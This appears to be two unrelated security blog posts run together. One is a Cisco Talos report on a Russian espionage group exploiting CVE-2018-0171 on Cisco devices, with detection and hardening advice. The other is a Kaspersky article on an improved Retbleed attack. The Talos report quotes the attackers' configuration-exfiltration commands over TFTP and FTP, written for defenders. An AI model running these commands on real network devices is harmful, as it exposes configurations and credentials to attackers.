• Static Tundra is a Russian state-sponsored cyber espionage group linked to the FSB’s Center 16 unit that has been operating for over a decade, specializing in compromising network devices for long-term intelligence gathering operations.
• The group actively exploits a seven-year-old vulnerability (CVE-2018-0171), which was patched at the time of the vulnerability publications, in Cisco IOS software’s Smart Install feature, targeting unpatched and end-of-life network devices to steal configuration data and establish persistent access.
• Primary targets include organizations in telecommunications, higher education and manufacturing sectors across North America, Asia, Africa and Europe, with victims selected based on their strategic interest to the Russian government.
• Static Tundra employs sophisticated persistence techniques including the historic SYNful Knock firmware implant (first reported in 2015) and bespoke SNMP tooling to maintain undetected access for multiple years.
• The threat extends beyond Russia’s operations — other state-sponsored actors are likely conducting similar network device compromise campaigns, making comprehensive patching and security hardening critical for all organizations.
• Threat actors will continue to abuse devices which remain unpatched and have Smart Install enabled.
• Customers are urged to apply the patch for CVE-2018-0171 or to disable Smart Install as indicated in the advisory if patching is not an option. Customer support is available if needed by initiating a TAC request.

Since 2015, Cisco Talos has observed the compromise of unpatched and often end-of-life Cisco networking devices by a highly sophisticated threat actor. Based on sufficient recent activity observed through our ongoing analysis, we have designated this threat cluster “Static Tundra.” This blog highlights our observations regarding this threat actor and provides recommendations for detecting and preventing activities associated with Static Tundra.

Threat actor and campaign overview

Talos assesses with high confidence that Static Tundra is a Russian state-sponsored cyber espionage group specializing in network device exploitation to support long-term intrusion campaigns into organizations that are of strategic interest to the Russian government. Static Tundra is likely a sub-cluster of another group, “Energetic Bear” (aka BERSERK BEAR), based on an overlap in tactics, techniques and procedures (TTPs) and victimology, which has been corroborated by the FBI. Energetic Bear was linked to the Russian Federal Security Service’s (FSB) Center 16 unit in a 2022 U.S. Department of Justice indictment. Talos also assesses with moderate confidence that Static Tundra is associated with the historic use of “SYNful Knock,” a malicious implant installed on compromised Cisco devices publicly reported in 2015.

Static Tundra is assessed to be a highly sophisticated cyber threat actor that has operated for over a decade, conducting long-term espionage operations. Static Tundra specializes in network intrusions, demonstrated by the group’s advanced knowledge of network devices and use of bespoke tooling, possibly including the novel, but now decade-old, SYNful Knock router implant.

Static Tundra targets unpatched, and often end-of-life, network devices to establish access on primary targets and support secondary operations against related targets of interest. Once they establish initial access to a network device, Static Tundra will pivot further into the target environment, compromising additional network devices and establishing channels for long-term persistence and information gathering. This is demonstrated by the group’s ability to maintain access in target environments for multiple years without being detected.

For years, Static Tundra has been compromising Cisco devices by exploiting a previously disclosed vulnerability in the Smart Install feature of Cisco IOS software and Cisco IOS XE software (CVE-2018-0171) that has been left unpatched, often after those devices are end-of-life. We assess that the purpose of this campaign is to compromise and extract device configuration information en masse, which can later be leveraged as needed based on then-current strategic goals and interests of the Russian government. This is demonstrated by Static Tundra’s adaptation and shifts in operational focus as Russia’s priorities have changed over time.

Since Static Tundra was first observed in 2015, the group has targeted organizations in the telecommunications, higher education and manufacturing sectors. Victims are primarily based in Ukraine and allied countries, but also include other entities globally. Talos estimates Static Tundra will continue network intrusion campaigns into organizations that are of strategic interest to Russia, specifically manufacturing and higher education, and targets of political interest will likely continue to include Ukraine and its allies.

While this blog focuses on Static Tundra’s ongoing campaign against network devices, many other state-sponsored actors also covet the access these devices afford, as we have warned many times over the years. Organizations should be aware that other advanced persistent threats (APTs) are likely prioritizing carrying out similar operations as well.

Targeting and victimology

Static Tundra has been observed as primarily targeting organizations in the telecommunications, higher education and manufacturing sectors, pivoting over time in alignment with shifts in Russian strategic interests. Known victims span multiple geographic regions, including North America, Asia, Africa and Europe.

One of the clearer targeting shifts we observed was that Static Tundra’s operations against entities in Ukraine escalated at the start of the Russia-Ukraine war, and have remained high since then. Static Tundra was observed compromising Ukrainian organizations in multiple verticals, as opposed to previously more limited, selective compromises typically being associated with this threat actor.

Tactics, techniques and procedures (TTPs)

We assess that Static Tundra’s two primary operational objectives are 1) compromising network devices to gather sensitive device configuration information that can be leveraged to support future operations, and 2) establishing persistent access to network environments to support long-term espionage in alignment with Russian strategic interests. Because of the large global presence of Cisco network infrastructure and the potential access it affords, the group focuses heavily on the exploitation of these devices and possibly also the development of tools to interact with and persist on these devices. Static Tundra utilizes bespoke tooling that prioritizes persistence and stealth to achieve these objectives. The tooling and techniques target old and unpatched edge devices.

Initial access

Since at least 2021, Static Tundra has been observed aggressively exploiting CVE-2018-0171, a known and patched vulnerability in Cisco IOS software and Cisco IOS XE software that could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device.

Cisco issued a patch for CVE-2018-0171 in 2018. As advised previously by Cisco, customers are strongly urged to apply the patch immediately given active and ongoing exploitation of the vulnerability by sophisticated state-sponsored or state-aligned active persistent threat (APT) groups. Devices that are beyond end of life and cannot support the patch require additional security precautions as detailed in the 2018 security advisory. Unpatched devices with Smart Install enabled will continue to be vulnerable to these and other attacks unless and until customers take action.

Talos assesses with moderate confidence that Static Tundra leverages bespoke tooling to automate the exploitation of CVE-2018-0171 and subsequent configuration exfiltration against a predefined set of target IP addresses, likely gathered using publicly available scan data from a service such as Shodan or Censys. The process is similar to those that have been reported publicly in red teaming blogs and similar publications.

After gaining initial entry via exploitation of the Smart Install vulnerability, Static Tundra’s CVE-2018-0171 attack chain continues by issuing a command that will modify the running configuration and enable the local Trivial File Transfer Protocol (TFTP) server:

tftp-server nvram:startup-config

This then allows Static Tundra to make a follow-up connection to the newly spawned TFTP server to retrieve the startup configuration. The extracted configuration may reveal credentials and/or Simple Network Management Protocol (SNMP) community strings that can then be leveraged for more direct access to the system.

Static Tundra has also been observed making initial access to devices via SNMP, leveraging a community string that was either compromised in a previous attack or guessed. In some cases, the group used insecure community strings of “anonymous” and “public” with read-write permissions.

Execution

Upon gaining initial access to a target environment, Static Tundra interacts with the SNMP service using community strings that were compromised during the initial access phase. In some cases, Static Tundra spoofs the source address of the SNMP traffic. This technique allows the threat actor to obfuscate their infrastructure and bypass access control lists (ACLs), as the SNMP protocol does not use session establishment. SNMP offers a variety of options for further execution on a compromised device, such as executing commands directly, modifying the running configuration and extracting the current running configuration or startup configuration.

Static Tundra leverages SNMP to send instructions to download a text file from a remote server and append it to the running configuration. This can allow for additional means of access via newly created local user accounts in conjunction with enabling remote services including TELNET.

Persistence

Due to the relatively static nature of network environments, Static Tundra often relies on compromised SNMP community strings and credentials to maintain access to systems over the course of multiple years. In some cases, Static Tundra creates privileged local user accounts and/or additional SNMP community read-write strings.

Static Tundra has been observed leveraging a Cisco IOS firmware implant known as SYNful Knock to achieve persistent access to compromised systems. SYNful Knock is a modular implant that attackers inject into a Cisco IOS image and then load onto the compromised device. This provides a stealthy means of access that will persist through reboots. Remote access to the device can then be achieved by sending a specifically crafted TCP SYN packet, commonly referred to as a “magic packet.” Additional information, including a full technical write-up, can be found in a 2015 blog published by Mandiant with additional details from a 2015 Cisco blog. Additionally, Talos has published a script that can be used to scan for and detect the SYNful Knock implant.

Defense evasion

Static Tundra has been observed modifying TACACS+ configuration on compromised devices, hindering remote logging capabilities. Static Tundra also modifies access control lists (ACLs) to permit access from specific IP addresses or ranges under their control.

Discovery

Static Tundra likely uses publicly-available scan data from services such as Shodan or Censys to identify systems of interest. Once inside a target environment, Static Tundra relies heavily on native commands, such as “show cdp neighbors”, to reveal additional systems of interest within the target environment. This presents a relatively stealthy way to identify further targets without the need for active scanning.

Collection

One of Static Tundra’s primary actions on objectives is to capture network traffic that would be of value from an intelligence perspective. To achieve this, Static Tundra establishes Generic Routing Encapsulation (GRE) tunnels that redirect traffic of interest to attacker-controlled infrastructure, which can then be captured and further analyzed. Static Tundra has also been observed collecting and exfiltrating NetFlow data on compromised systems, revealing source and destination information on streams of potential interest.

Exfiltration

Static Tundra exfiltrates configuration information through a variety of means, including inbound TFTP connections via the Smart Install exploitation procedure mentioned in the Initial Access section, outbound TFTP or FTP connections from the compromised device to attacker-controlled infrastructure, and inbound SNMP connections using the copy configuration process.

Static Tundra leverages bespoke SNMP tooling and functionality provided by the CISCO-CONFIG-COPY-MIB to exfiltrate configurations from compromised devices via either TFTP or Remote Copy Protocol (RCP).

Static Tundra has been observed using the following commands to exfiltrate configuration files via TFTP and FTP:

do show running-config | redirect tftp://:/conf_bckp
copy running-config ftp://user:pass@/output.txt

Detection

Talos recommends taking the following steps to identify suspicious activity that may be related to this campaign:

• Conduct comprehensive configuration management (including auditing), in line with best practices.
• Conduct comprehensive authentication, authorization and command issuance monitoring.
• Monitor syslog and AAA logs for unusual activity, including a decrease in normal logging events, or a gap in logged activity.
• Monitor your environment for unusual changes in behavior or configuration.
• Profile (fingerprint via NetFlow and port scanning) network devices for a shift in surface view, including new ports opening/closing and traffic to/from (not traversing).
• Where possible, develop NetFlow visibility to identify unusual volumetric changes.
• Look for non-empty or unusually large .bash_history files.

Additional identification and detection can be performed using the Cisco forensic guides.

Preventative measures

The following strong recommendations apply to entities in all sectors.

• Cisco-specific measures
  • Apply the patch for CVE-2018-0171.
    • Disable Smart Install as indicated in the advisory if patching is not an option.
  • Leverage Cisco Hardening Guides when configuring devices.
  • Disable telnet and ensure it is not available on any of the Virtual Teletype (VTY) lines on Cisco devices by configuring all VTY stanzas with “transport input ssh” and “transport output none”.
  • Disable Cisco’s Smart Install service using “no vstack” for any device where application of the available patch for CVE 2018-0171 is infeasible, and develop end-of-life management plans for technology too old to patch.
  • Utilize Type 8 passwords for local account credential configuration.
  • Utilize Type 6 for TACACS+ key configuration.
• General measures
  • Rigorously adhere to security best practices, including updating, access controls, user education and network segmentation.
  • Stay up to date on security advisories from the U.S. government and industry and consider suggested configuration changes to mitigate described issues.
  • Update devices as aggressively as possible. This includes patching current hardware and software against known vulnerabilities and replacing end-of- life hardware and software.
    • Select complex passwords and community strings and avoid default credentials.
  • Use multi-factor authentication (MFA).
  • Encrypt all monitoring and configuration traffic (e.g., SNMPv3, HTTPS, SSH, NETCONF, RESTCONF).
  • Lock down and aggressively monitor credential systems, such as TACACS+ and any jump hosts.
  • Utilize AAA to deny configuration modifications of key device protections (e.g., local accounts, TACACS+, RADIUS).
  • Prevent and monitor for exposure of administrative or unusual interfaces (e.g., SNMP, SSH, HTTP, HTTPS).
  • Disable all non-encrypted web management capabilities.
  • Verify existence and correctness of access control lists for all management protocols (e.g., SNMP, SSH, Netconf, etc.).
  • Store configurations centrally and push to devices. Do NOT allow devices to be the trusted source of truth for their configurations.

Indicators of compromise (IOCs)

Cisco Talos Blog – ​Read More

In a new paper, Google researchers Matteo Rizzo and Andy Nguyen have detailed an improved Retbleed attack scenario. As we’ve explained in a previous post, the original Retbleed attack exploited vulnerabilities in AMD’s Zen and Zen 2, as well as Intel’s Kaby Lake and Coffee Lake CPUs. Hardware vulnerabilities of this kind are extremely difficult to exploit in realistic settings, which is why the various forms of Spectre and derivative attacks like Retbleed have remained largely theoretical. Despite this, both CPU manufacturers and software developers have implemented methods to mitigate them. The essence of the new Google research is to demonstrate how the effectiveness of the Retbleed attack can be increased. Without fundamentally changing the attack’s architecture, they were able to leverage features of AMD Zen 2 CPUs to read arbitrary data from RAM.

Retbleed in a nutshell

Like Spectre, Retbleed exploits a feature called branch prediction in a computer’s CPU. Branch prediction allows the processor to speculatively execute instructions without waiting for the results of previous computations. Sometimes such predictions are wrong, but normally this only results in a slight, imperceptible slowdown in the application’s performance.

In 2018, the Spectre attack showed that incorrect predictions can be used to steal secrets. This is possible due to two key characteristics. First, the branch prediction system can be trained to access a memory area containing secret data, which then gets loaded into the CPU cache. Second, a way was found to extract this secret data from the cache through a side channel by measuring the execution time of a specific instruction.

Retbleed can be considered an evolution of the Spectre v2 attack: it also exploits the characteristics of the branch prediction system, but differs in how it injects instructions. What’s more, Retbleed can bypass the technology used to protect against Spectre v2, and therefore threatens systems running on more modern hardware. Retbleed remains difficult to implement. A demonstration in ideal conditions by the authors of the original research took a full 90 minutes to extract the secret (in that case a user password).

What the Google researchers accomplished

The researchers from Google were able to significantly accelerate a Retbleed attack. The key takeaway from their work is that arbitrary sections of RAM at 13 KB/s can be read. The accuracy of extracting secret data from the cache is also crucial for such attacks, and in this case it was one hundred percent. The experts demonstrated how the security systems of the operating system kernel – specifically the Linux kernel – can be bypassed. Another significant improvement they made was the use of an attack known as Speculative ROP, which they modified to evade the very same defenses designed for Spectre v2.

According to the researchers, the only limitation of their exploit is the need to know the system’s kernel configuration in advance. This isn’t a major hurdle because many systems use common, standard configurations. Even for unknown configurations, attackers can perform a preliminary analysis.

Should we expect Retbleed attacks in the wild?

Most such attacks explore a scenario where malicious code with low privileges runs on a standard computer – ultimately gaining access to sensitive data. However, the same could be said of attacks using traditional malware. If an attacker has already managed to execute arbitrary code on a system, they don’t necessarily need to resort to extremely complex methods for privilege escalation. There are often simpler ways to achieve the same result, such as exploiting a vulnerability in an application or system software.

Attacks like Spectre and Retbleed pose the greatest danger to cloud systems. For a cloud provider, it’s critically important that clients whose virtual machines share the same hardware can’t gain access to other users’ data or hypervisor information. Google’s researchers claim that this new variant of the Retbleed attack allows for exactly that. As a result, Google has stopped using servers with AMD Zen 2 architecture CPUs in its own cloud services for tasks that involve clients executing arbitrary code. So it does seem they’re taking this threat seriously.

Kaspersky official blog – ​Read More